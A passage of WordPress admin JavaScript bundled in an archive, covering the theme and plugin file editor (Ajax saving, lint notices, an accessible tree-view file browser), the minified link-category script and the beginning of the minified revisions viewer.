			lastTabbable.focus();
			event.preventDefault();
		}
	};

	/**
	 * Dismiss the warning modal.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.dismissWarning = function() {

		wp.ajax.post( 'dismiss-wp-pointer', {
			pointer: component.themeOrPlugin + '_editor_notice'
		});

		// Hide modal.
		component.warning.remove();
		$( '#wpwrap' ).removeAttr( 'aria-hidden' );
		$( 'body' ).removeClass( 'modal-open' );
	};

	/**
	 * Callback for when a change happens.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.onChange = function() {
		component.dirty = true;
		component.removeNotice( 'file_saved' );
	};

	/**
	 * Submit file via Ajax.
	 *
	 * @since 4.9.0
	 * @param {jQuery.Event} event - Event.
	 * @return {void}
	 */
	component.submit = function( event ) {
		var data = {}, request;
		event.preventDefault(); // Prevent form submission in favor of Ajax below.
		$.each( component.form.serializeArray(), function() {
			data[ this.name ] = this.value;
		} );

		// Use value from codemirror if present.
		if ( component.instance ) {
			data.newcontent = component.instance.codemirror.getValue();
		}

		if ( component.isSaving ) {
			return;
		}

		// Scroll ot the line that has the error.
		if ( component.lintErrors.length ) {
			component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
			return;
		}

		component.isSaving = true;
		component.textarea.prop( 'readonly', true );
		if ( component.instance ) {
			component.instance.codemirror.setOption( 'readOnly', true );
		}

		component.spinner.addClass( 'is-active' );
		request = wp.ajax.post( 'edit-theme-plugin-file', data );

		// Remove previous save notice before saving.
		if ( component.lastSaveNoticeCode ) {
			component.removeNotice( component.lastSaveNoticeCode );
		}

		request.done( function( response ) {
			component.lastSaveNoticeCode = 'file_saved';
			component.addNotice({
				code: component.lastSaveNoticeCode,
				type: 'success',
				message: response.message,
				dismissible: true
			});
			component.dirty = false;
		} );

		request.fail( function( response ) {
			var notice = $.extend(
				{
					code: 'save_error',
					message: __( 'Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.' )
				},
				response,
				{
					type: 'error',
					dismissible: true
				}
			);
			component.lastSaveNoticeCode = notice.code;
			component.addNotice( notice );
		} );

		request.always( function() {
			component.spinner.removeClass( 'is-active' );
			component.isSaving = false;

			component.textarea.prop( 'readonly', false );
			if ( component.instance ) {
				component.instance.codemirror.setOption( 'readOnly', false );
			}
		} );
	};

	/**
	 * Add notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {Object}   notice - Notice.
	 * @param {string}   notice.code - Code.
	 * @param {string}   notice.type - Type.
	 * @param {string}   notice.message - Message.
	 * @param {boolean}  [notice.dismissible=false] - Dismissible.
	 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
	 * @return {jQuery} Notice element.
	 */
	component.addNotice = function( notice ) {
		var noticeElement;

		if ( ! notice.code ) {
			throw new Error( 'Missing code.' );
		}

		// Only let one notice of a given type be displayed at a time.
		component.removeNotice( notice.code );

		noticeElement = $( component.noticeTemplate( notice ) );
		noticeElement.hide();

		noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
			component.removeNotice( notice.code );
			if ( notice.onDismiss ) {
				notice.onDismiss( notice );
			}
		} );

		wp.a11y.speak( notice.message );

		component.noticesContainer.append( noticeElement );
		noticeElement.slideDown( 'fast' );
		component.noticeElements[ notice.code ] = noticeElement;
		return noticeElement;
	};

	/**
	 * Remove notice.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} code - Notice code.
	 * @return {boolean} Whether a notice was removed.
	 */
	component.removeNotice = function( code ) {
		if ( component.noticeElements[ code ] ) {
			component.noticeElements[ code ].slideUp( 'fast', function() {
				$( this ).remove();
			} );
			delete component.noticeElements[ code ];
			return true;
		}
		return false;
	};

	/**
	 * Initialize code editor.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initCodeEditor = function initCodeEditor() {
		var codeEditorSettings, editor;

		codeEditorSettings = $.extend( {}, component.codeEditor );

		/**
		 * Handle tabbing to the field before the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabPrevious = function() {
			$( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' );
		};

		/**
		 * Handle tabbing to the field after the editor.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		codeEditorSettings.onTabNext = function() {
			$( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' );
		};

		/**
		 * Handle change to the linting errors.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errors - List of linting errors.
		 * @return {void}
		 */
		codeEditorSettings.onChangeLintingErrors = function( errors ) {
			component.lintErrors = errors;

			// Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
			if ( 0 === errors.length ) {
				component.submitButton.toggleClass( 'disabled', false );
			}
		};

		/**
		 * Update error notice.
		 *
		 * @since 4.9.0
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
			var noticeElement;

			component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );

			if ( 0 !== errorAnnotations.length ) {
				noticeElement = component.addNotice({
					code: 'lint_errors',
					type: 'error',
					message: sprintf(
						/* translators: %s: Error count. */
						_n(
							'There is %s error which must be fixed before you can update this file.',
							'There are %s errors which must be fixed before you can update this file.',
							errorAnnotations.length
						),
						String( errorAnnotations.length )
					),
					dismissible: false
				});
				noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
					codeEditorSettings.onChangeLintingErrors( [] );
					component.removeNotice( 'lint_errors' );
				} );
			} else {
				component.removeNotice( 'lint_errors' );
			}
		};

		editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
		editor.codemirror.on( 'change', component.onChange );

		// Improve the editor accessibility.
		$( editor.codemirror.display.lineDiv )
			.attr({
				role: 'textbox',
				'aria-multiline': 'true',
				'aria-labelledby': 'theme-plugin-editor-label',
				'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
			});

		// Focus the editor when clicking on its label.
		$( '#theme-plugin-editor-label' ).on( 'click', function() {
			editor.codemirror.focus();
		});

		component.instance = editor;
	};

	/**
	 * Initialization of the file browser's folder states.
	 *
	 * @since 4.9.0
	 * @return {void}
	 */
	component.initFileBrowser = function initFileBrowser() {

		var $templateside = $( '#templateside' );

		// Collapse all folders.
		$templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );

		// Expand ancestors to the current file.
		$templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );

		// Find Tree elements and enhance them.
		$templateside.find( '[role="tree"]' ).each( function() {
			var treeLinks = new TreeLinks( this );
			treeLinks.init();
		} );

		// Scroll the current file into view.
		$templateside.find( '.current-file:first' ).each( function() {
			if ( this.scrollIntoViewIfNeeded ) {
				this.scrollIntoViewIfNeeded();
			} else {
				this.scrollIntoView( false );
			}
		} );
	};

	/* jshint ignore:start */
	/* jscs:disable */
	/* eslint-disable */

	/**
	 * Creates a new TreeitemLink.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	var TreeitemLink = (function () {
		/**
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeitemLink.js
		 *
		 *   Desc:   Treeitem widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/**
		 *   @constructor
		 *
		 *   @desc
		 *       Treeitem object for representing the state and user interactions for a
		 *       treeItem widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeitemLink = function (node, treeObj, group) {

			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			node.tabIndex = -1;
			this.tree = treeObj;
			this.groupTreeitem = group;
			this.domNode = node;
			this.label = node.textContent.trim();
			this.stopDefaultClick = false;

			if (node.getAttribute('aria-label')) {
				this.label = node.getAttribute('aria-label').trim();
			}

			this.isExpandable = false;
			this.isVisible = false;
			this.inGroup = false;

			if (group) {
				this.inGroup = true;
			}

			var elem = node.firstElementChild;

			while (elem) {

				if (elem.tagName.toLowerCase() == 'ul') {
					elem.setAttribute('role', 'group');
					this.isExpandable = true;
					break;
				}

				elem = elem.nextElementSibling;
			}

			this.keyCode = Object.freeze({
				RETURN: 13,
				SPACE: 32,
				PAGEUP: 33,
				PAGEDOWN: 34,
				END: 35,
				HOME: 36,
				LEFT: 37,
				UP: 38,
				RIGHT: 39,
				DOWN: 40
			});
		};

		TreeitemLink.prototype.init = function () {
			this.domNode.tabIndex = -1;

			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'treeitem');
			}

			this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
			this.domNode.addEventListener('click', this.handleClick.bind(this));
			this.domNode.addEventListener('focus', this.handleFocus.bind(this));
			this.domNode.addEventListener('blur', this.handleBlur.bind(this));

			if (this.isExpandable) {
				this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
			else {
				this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
				this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
			}
		};

		TreeitemLink.prototype.isExpanded = function () {

			if (this.isExpandable) {
				return this.domNode.getAttribute('aria-expanded') === 'true';
			}

			return false;

		};

		/* EVENT HANDLERS */

		TreeitemLink.prototype.handleKeydown = function (event) {
			var tgt = event.currentTarget,
				flag = false,
				_char = event.key,
				clickEvent;

			function isPrintableCharacter(str) {
				return str.length === 1 && str.match(/\S/);
			}

			function printableCharacter(item) {
				if (_char == '*') {
					item.tree.expandAllSiblingItems(item);
					flag = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						item.tree.setFocusByFirstCharacter(item, _char);
						flag = true;
					}
				}
			}

			this.stopDefaultClick = false;

			if (event.altKey || event.ctrlKey || event.metaKey) {
				return;
			}

			if (event.shift) {
				if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
					event.stopPropagation();
					this.stopDefaultClick = true;
				}
				else {
					if (isPrintableCharacter(_char)) {
						printableCharacter(this);
					}
				}
			}
			else {
				switch (event.keyCode) {
					case this.keyCode.SPACE:
					case this.keyCode.RETURN:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.collapseTreeitem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
							flag = true;
						}
						else {
							event.stopPropagation();
							this.stopDefaultClick = true;
						}
						break;

					case this.keyCode.UP:
						this.tree.setFocusToPreviousItem(this);
						flag = true;
						break;

					case this.keyCode.DOWN:
						this.tree.setFocusToNextItem(this);
						flag = true;
						break;

					case this.keyCode.RIGHT:
						if (this.isExpandable) {
							if (this.isExpanded()) {
								this.tree.setFocusToNextItem(this);
							}
							else {
								this.tree.expandTreeitem(this);
							}
						}
						flag = true;
						break;

					case this.keyCode.LEFT:
						if (this.isExpandable && this.isExpanded()) {
							this.tree.collapseTreeitem(this);
							flag = true;
						}
						else {
							if (this.inGroup) {
								this.tree.setFocusToParentItem(this);
								flag = true;
							}
						}
						break;

					case this.keyCode.HOME:
						this.tree.setFocusToFirstItem();
						flag = true;
						break;

					case this.keyCode.END:
						this.tree.setFocusToLastItem();
						flag = true;
						break;

					default:
						if (isPrintableCharacter(_char)) {
							printableCharacter(this);
						}
						break;
				}
			}

			if (flag) {
				event.stopPropagation();
				event.preventDefault();
			}
		};

		TreeitemLink.prototype.handleClick = function (event) {

			// Only process click events that directly happened on this treeitem.
			if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
				return;
			}

			if (this.isExpandable) {
				if (this.isExpanded()) {
					this.tree.collapseTreeitem(this);
				}
				else {
					this.tree.expandTreeitem(this);
				}
				event.stopPropagation();
			}
		};

		TreeitemLink.prototype.handleFocus = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.add('focus');
		};

		TreeitemLink.prototype.handleBlur = function (event) {
			var node = this.domNode;
			if (this.isExpandable) {
				node = node.firstElementChild;
			}
			node.classList.remove('focus');
		};

		TreeitemLink.prototype.handleMouseOver = function (event) {
			event.currentTarget.classList.add('hover');
		};

		TreeitemLink.prototype.handleMouseOut = function (event) {
			event.currentTarget.classList.remove('hover');
		};

		return TreeitemLink;
	})();

	/**
	 * Creates a new TreeLinks.
	 *
	 * @since 4.9.0
	 * @class
	 * @private
	 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
	 * @license W3C-20150513
	 */
	TreeLinks = (function () {
		/*
		 *   This content is licensed according to the W3C Software License at
		 *   https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
		 *
		 *   File:   TreeLinks.js
		 *
		 *   Desc:   Tree widget that implements ARIA Authoring Practices
		 *           for a tree being used as a file viewer
		 *
		 *   Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
		 */

		/*
		 *   @constructor
		 *
		 *   @desc
		 *       Tree item object for representing the state and user interactions for a
		 *       tree widget
		 *
		 *   @param node
		 *       An element with the role=tree attribute
		 */

		var TreeLinks = function (node) {
			// Check whether node is a DOM element.
			if (typeof node !== 'object') {
				return;
			}

			this.domNode = node;

			this.treeitems = [];
			this.firstChars = [];

			this.firstTreeitem = null;
			this.lastTreeitem = null;

		};

		TreeLinks.prototype.init = function () {

			function findTreeitems(node, tree, group) {

				var elem = node.firstElementChild;
				var ti = group;

				while (elem) {

					if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
						ti = new TreeitemLink(elem, tree, group);
						ti.init();
						tree.treeitems.push(ti);
						tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
					}

					if (elem.firstElementChild) {
						findTreeitems(elem, tree, ti);
					}

					elem = elem.nextElementSibling;
				}
			}

			// Initialize pop up menus.
			if (!this.domNode.getAttribute('role')) {
				this.domNode.setAttribute('role', 'tree');
			}

			findTreeitems(this.domNode, this, false);

			this.updateVisibleTreeitems();

			this.firstTreeitem.domNode.tabIndex = 0;

		};

		TreeLinks.prototype.setFocusToItem = function (treeitem) {

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if (ti === treeitem) {
					ti.domNode.tabIndex = 0;
					ti.domNode.focus();
				}
				else {
					ti.domNode.tabIndex = -1;
				}
			}

		};

		TreeLinks.prototype.setFocusToNextItem = function (currentItem) {

			var nextItem = false;

			for (var i = (this.treeitems.length - 1); i >= 0; i--) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					nextItem = ti;
				}
			}

			if (nextItem) {
				this.setFocusToItem(nextItem);
			}

		};

		TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {

			var prevItem = false;

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];
				if (ti === currentItem) {
					break;
				}
				if (ti.isVisible) {
					prevItem = ti;
				}
			}

			if (prevItem) {
				this.setFocusToItem(prevItem);
			}
		};

		TreeLinks.prototype.setFocusToParentItem = function (currentItem) {

			if (currentItem.groupTreeitem) {
				this.setFocusToItem(currentItem.groupTreeitem);
			}
		};

		TreeLinks.prototype.setFocusToFirstItem = function () {
			this.setFocusToItem(this.firstTreeitem);
		};

		TreeLinks.prototype.setFocusToLastItem = function () {
			this.setFocusToItem(this.lastTreeitem);
		};

		TreeLinks.prototype.expandTreeitem = function (currentItem) {

			if (currentItem.isExpandable) {
				currentItem.domNode.setAttribute('aria-expanded', true);
				this.updateVisibleTreeitems();
			}

		};

		TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
					this.expandTreeitem(ti);
				}
			}

		};

		TreeLinks.prototype.collapseTreeitem = function (currentItem) {

			var groupTreeitem = false;

			if (currentItem.isExpanded()) {
				groupTreeitem = currentItem;
			}
			else {
				groupTreeitem = currentItem.groupTreeitem;
			}

			if (groupTreeitem) {
				groupTreeitem.domNode.setAttribute('aria-expanded', false);
				this.updateVisibleTreeitems();
				this.setFocusToItem(groupTreeitem);
			}

		};

		TreeLinks.prototype.updateVisibleTreeitems = function () {

			this.firstTreeitem = this.treeitems[0];

			for (var i = 0; i < this.treeitems.length; i++) {
				var ti = this.treeitems[i];

				var parent = ti.domNode.parentNode;

				ti.isVisible = true;

				while (parent && (parent !== this.domNode)) {

					if (parent.getAttribute('aria-expanded') == 'false') {
						ti.isVisible = false;
					}
					parent = parent.parentNode;
				}

				if (ti.isVisible) {
					this.lastTreeitem = ti;
				}
			}

		};

		TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
			var start, index;
			_char = _char.toLowerCase();

			// Get start index for search based on position of currentItem.
			start = this.treeitems.indexOf(currentItem) + 1;
			if (start === this.treeitems.length) {
				start = 0;
			}

			// Check remaining slots in the menu.
			index = this.getIndexFirstChars(start, _char);

			// If not found in remaining slots, check from beginning.
			if (index === -1) {
				index = this.getIndexFirstChars(0, _char);
			}

			// If match was found...
			if (index > -1) {
				this.setFocusToItem(this.treeitems[index]);
			}
		};

		TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
			for (var i = startIndex; i < this.firstChars.length; i++) {
				if (this.treeitems[i].isVisible) {
					if (_char === this.firstChars[i]) {
						return i;
					}
				}
			}
			return -1;
		};

		return TreeLinks;
	})();

	/* jshint ignore:end */
	/* jscs:enable */
	/* eslint-enable */

	return component;
})( jQuery );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
 */
wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || {
	saveAlert: '',
	saveError: '',
	lintError: {
		alternative: 'wp.i18n',
		func: function() {
			return {
				singular: '',
				plural: ''
			};
		}
	}
};

wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );
link.min.js000064400000003316150276633100006627 0ustar00/*! This file is auto-generated */
jQuery(function(a){var t,c,e,i=!1;a("#link_name").trigger("focus"),postboxes.add_postbox_toggles("link"),a("#category-tabs a").on("click",function(){var t=a(this).attr("href");return a(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),a(".tabs-panel").hide(),a(t).show(),"#categories-all"==t?deleteUserSetting("cats"):setUserSetting("cats","pop"),!1}),getUserSetting("cats")&&a('#category-tabs a[href="#categories-pop"]').trigger("click"),t=a("#newcat").one("focus",function(){a(this).val("").removeClass("form-input-tip")}),a("#link-category-add-submit").on("click",function(){t.focus()}),c=function(){var t,e;i||(i=!0,t=(e=a(this)).is(":checked"),e=e.val().toString(),a("#in-link-category-"+e+", #in-popular-link_category-"+e).prop("checked",t),i=!1)},e=function(t,e){a(e.what+" response_data",t).each(function(){a(a(this).text()).find("label").each(function(){var t=a(this),e=t.find("input").val(),i=t.find("input")[0].id,t=t.text().trim();a("#"+i).on("change",c),a('<option value="'+parseInt(e,10)+'"></option>').text(t)})})},a("#categorychecklist").wpList({alt:"",what:"link-category",response:"category-ajax-response",addAfter:e}),a('a[href="#categories-all"]').on("click",function(){deleteUserSetting("cats")}),a('a[href="#categories-pop"]').on("click",function(){setUserSetting("cats","pop")}),"pop"==getUserSetting("cats")&&a('a[href="#categories-pop"]').trigger("click"),a("#category-add-toggle").on("click",function(){return a(this).parents("div:first").toggleClass("wp-hidden-children"),a('#category-tabs a[href="#categories-all"]').trigger("click"),a("#newcategory").trigger("focus"),!1}),a(".categorychecklist :checkbox").on("change",c).filter(":checked").trigger("change")});revisions.min.js000064400000042713150276633100007717 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},function(a){var s=wp.revisions={model:{},view:{},controller:{}};s.settings=window._wpRevisionsSettings||{},s.debug=!1,s.log=function(){window.console&&s.debug&&window.console.log.apply(window.console,arguments)},a.fn.allOffsets=function(){var e=this.offset()||{top:0,left:0},i=a(window);return _.extend(e,{right:i.width()-e.left-this.outerWidth(),bottom:i.height()-e.top-this.outerHeight()})},a.fn.allPositions=function(){var e=this.position()||{top:0,left:0},i=this.parent();return _.extend(e,{right:i.outerWidth()-e.left-this.outerWidth(),bottom:i.outerHeight()-e.top-this.outerHeight()})},s.model.Slider=Backbone.Model.extend({defaults:{value:null,values:null,min:0,max:1,step:1,range:!1,compareTwoMode:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.listenTo(this.frame,"update:revisions",this.receiveRevisions),this.listenTo(this.frame,"change:compareTwoMode",this.updateMode),this.on("change:from",this.handleLocalChanges),this.on("change:to",this.handleLocalChanges),this.on("change:compareTwoMode",this.updateSliderSettings),this.on("update:revisions",this.updateSliderSettings),this.on("change:hoveredRevision",this.hoverRevision),this.set({max:this.revisions.length-1,compareTwoMode:this.frame.get("compareTwoMode"),from:this.frame.get("from"),to:this.frame.get("to")}),this.updateSliderSettings()},getSliderValue:function(e,i){return isRtl?this.revisions.length-this.revisions.indexOf(this.get(e))-1:this.revisions.indexOf(this.get(i))},updateSliderSettings:function(){this.get("compareTwoMode")?this.set({values:[this.getSliderValue("to","from"),this.getSliderValue("from","to")],value:null,range:!0}):this.set({value:this.getSliderValue("to","to"),values:null,range:!1}),this.trigger("update:slider")},hoverRevision:function(e,i){this.trigger("hovered:revision",i)},updateMode:function(e,i){this.set({compareTwoMode:i})},handleLocalChanges:function(){this.frame.set({from:this.get("from"),to:this.get("to")})},receiveRevisions:function(e,i){this.get("from")===e&&this.get("to")===i||(this.set({from:e,to:i},{silent:!0}),this.trigger("update:revisions",e,i))}}),s.model.Tooltip=Backbone.Model.extend({defaults:{revision:null,offset:{},hovering:!1,scrubbing:!1},initialize:function(e){this.frame=e.frame,this.revisions=e.revisions,this.slider=e.slider,this.listenTo(this.slider,"hovered:revision",this.updateRevision),this.listenTo(this.slider,"change:hovering",this.setHovering),this.listenTo(this.slider,"change:scrubbing",this.setScrubbing)},updateRevision:function(e){this.set({revision:e})},setHovering:function(e,i){this.set({hovering:i})},setScrubbing:function(e,i){this.set({scrubbing:i})}}),s.model.Revision=Backbone.Model.extend({}),s.model.Revisions=Backbone.Collection.extend({model:s.model.Revision,initialize:function(){_.bindAll(this,"next","prev")},next:function(e){e=this.indexOf(e);if(-1!==e&&e!==this.length-1)return this.at(e+1)},prev:function(e){e=this.indexOf(e);if(-1!==e&&0!==e)return this.at(e-1)}}),s.model.Field=Backbone.Model.extend({}),s.model.Fields=Backbone.Collection.extend({model:s.model.Field}),s.model.Diff=Backbone.Model.extend({initialize:function(){var e=this.get("fields");this.unset("fields"),this.fields=new s.model.Fields(e)}}),s.model.Diffs=Backbone.Collection.extend({initialize:function(e,i){_.bindAll(this,"getClosestUnloaded"),this.loadAll=_.once(this._loadAll),this.revisions=i.revisions,this.postId=i.postId,this.requests={}},model:s.model.Diff,ensure:function(e,i){var t=this.get(e),s=this.requests[e],o=a.Deferred(),n={},r=e.split(":")[0],l=e.split(":")[1];return n[e]=!0,wp.revisions.log("ensure",e),this.trigger("ensure",n,r,l,o.promise()),t?o.resolveWith(i,[t]):(this.trigger("ensure:load",n,r,l,o.promise()),_.each(n,_.bind(function(e){this.requests[e]&&delete n[e],this.get(e)&&delete n[e]},this)),s||(n[e]=!0,s=this.load(_.keys(n))),s.done(_.bind(function(){o.resolveWith(i,[this.get(e)])},this)).fail(_.bind(function(){o.reject()}))),o.promise()},getClosestUnloaded:function(e,i){var t=this;return _.chain([0].concat(e)).initial().zip(e).sortBy(function(e){return Math.abs(i-e[1])}).map(function(e){return e.join(":")}).filter(function(e){return _.isUndefined(t.get(e))&&!t.requests[e]}).value()},_loadAll:function(e,i,t){var s=this,o=a.Deferred(),n=_.first(this.getClosestUnloaded(e,i),t);return 0<_.size(n)?this.load(n).done(function(){s._loadAll(e,i,t).done(function(){o.resolve()})}).fail(function(){1===t?o.reject():s._loadAll(e,i,Math.ceil(t/2)).done(function(){o.resolve()})}):o.resolve(),o},load:function(e){return wp.revisions.log("load",e),this.fetch({data:{compare:e},remove:!1}).done(function(){wp.revisions.log("load:complete",e)})},sync:function(e,i,t){var s,o;return"read"===e?((t=t||{}).context=this,t.data=_.extend(t.data||{},{action:"get-revision-diffs",post_id:this.postId}),s=wp.ajax.send(t),o=this.requests,t.data.compare&&_.each(t.data.compare,function(e){o[e]=s}),s.always(function(){t.data.compare&&_.each(t.data.compare,function(e){delete o[e]})}),s):Backbone.Model.prototype.sync.apply(this,arguments)}}),s.model.FrameState=Backbone.Model.extend({defaults:{loading:!1,error:!1,compareTwoMode:!1},initialize:function(e,i){var t=this.get("initialDiffState");_.bindAll(this,"receiveDiff"),this._debouncedEnsureDiff=_.debounce(this._ensureDiff,200),this.revisions=i.revisions,this.diffs=new s.model.Diffs([],{revisions:this.revisions,postId:this.get("postId")}),this.diffs.set(this.get("diffData")),this.listenTo(this,"change:from",this.changeRevisionHandler),this.listenTo(this,"change:to",this.changeRevisionHandler),this.listenTo(this,"change:compareTwoMode",this.changeMode),this.listenTo(this,"update:revisions",this.updatedRevisions),this.listenTo(this.diffs,"ensure:load",this.updateLoadingStatus),this.listenTo(this,"update:diff",this.updateLoadingStatus),this.set({to:this.revisions.get(t.to),from:this.revisions.get(t.from),compareTwoMode:t.compareTwoMode}),window.history&&window.history.pushState&&(this.router=new s.Router({model:this}),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({pushState:!0}))},updateLoadingStatus:function(){this.set("error",!1),this.set("loading",!this.diff())},changeMode:function(e,i){var t=this.revisions.indexOf(this.get("to"));i&&0===t&&this.set({from:this.revisions.at(t),to:this.revisions.at(t+1)}),i||0===t||this.set({from:this.revisions.at(t-1),to:this.revisions.at(t)})},updatedRevisions:function(e,i){this.get("compareTwoMode")||this.diffs.loadAll(this.revisions.pluck("id"),i.id,40)},diff:function(){return this.diffs.get(this._diffId)},updateDiff:function(e){var i,t,s;return e=e||{},s=this.get("from"),i=this.get("to"),t=(s?s.id:0)+":"+i.id,this._diffId===t?a.Deferred().reject().promise():(this._diffId=t,this.trigger("update:revisions",s,i),(s=this.diffs.get(t))?(this.receiveDiff(s),a.Deferred().resolve().promise()):e.immediate?this._ensureDiff():(this._debouncedEnsureDiff(),a.Deferred().reject().promise()))},changeRevisionHandler:function(){this.updateDiff()},receiveDiff:function(e){_.isUndefined(e)||_.isUndefined(e.id)?this.set({loading:!1,error:!0}):this._diffId===e.id&&this.trigger("update:diff",e)},_ensureDiff:function(){return this.diffs.ensure(this._diffId,this).always(this.receiveDiff)}}),s.view.Frame=wp.Backbone.View.extend({className:"revisions",template:wp.template("revisions-frame"),initialize:function(){this.listenTo(this.model,"update:diff",this.renderDiff),this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode),this.listenTo(this.model,"change:loading",this.updateLoadingStatus),this.listenTo(this.model,"change:error",this.updateErrorStatus),this.views.set(".revisions-control-frame",new s.view.Controls({model:this.model}))},render:function(){return wp.Backbone.View.prototype.render.apply(this,arguments),a("html").css("overflow-y","scroll"),a("#wpbody-content .wrap").append(this.el),this.updateCompareTwoMode(),this.renderDiff(this.model.diff()),this.views.ready(),this},renderDiff:function(e){this.views.set(".revisions-diff-frame",new s.view.Diff({model:e}))},updateLoadingStatus:function(){this.$el.toggleClass("loading",this.model.get("loading"))},updateErrorStatus:function(){this.$el.toggleClass("diff-error",this.model.get("error"))},updateCompareTwoMode:function(){this.$el.toggleClass("comparing-two-revisions",this.model.get("compareTwoMode"))}}),s.view.Controls=wp.Backbone.View.extend({className:"revisions-controls",initialize:function(){_.bindAll(this,"setWidth"),this.views.add(new s.view.Buttons({model:this.model})),this.views.add(new s.view.Checkbox({model:this.model}));var e=new s.model.Slider({frame:this.model,revisions:this.model.revisions}),i=new s.model.Tooltip({frame:this.model,revisions:this.model.revisions,slider:e});this.views.add(new s.view.Tooltip({model:i})),this.views.add(new s.view.Tickmarks({model:i})),this.views.add(new s.view.Slider({model:e})),this.views.add(new s.view.Metabox({model:this.model}))},ready:function(){this.top=this.$el.offset().top,this.window=a(window),this.window.on("scroll.wp.revisions",{controls:this},function(e){var e=e.data.controls,i=e.$el.parent(),t=e.window.scrollTop(),s=e.views.parent;t>=e.top?(s.$el.hasClass("pinned")||(e.setWidth(),i.css("height",i.height()+"px"),e.window.on("resize.wp.revisions.pinning click.wp.revisions.pinning",{controls:e},function(e){e.data.controls.setWidth()})),s.$el.addClass("pinned")):(s.$el.hasClass("pinned")&&(e.window.off(".wp.revisions.pinning"),e.$el.css("width","auto"),s.$el.removeClass("pinned"),i.css("height","auto")),e.top=e.$el.offset().top)})},setWidth:function(){this.$el.css("width",this.$el.parent().width()+"px")}}),s.view.Tickmarks=wp.Backbone.View.extend({className:"revisions-tickmarks",direction:isRtl?"right":"left",initialize:function(){this.listenTo(this.model,"change:revision",this.reportTickPosition)},reportTickPosition:function(e,i){var 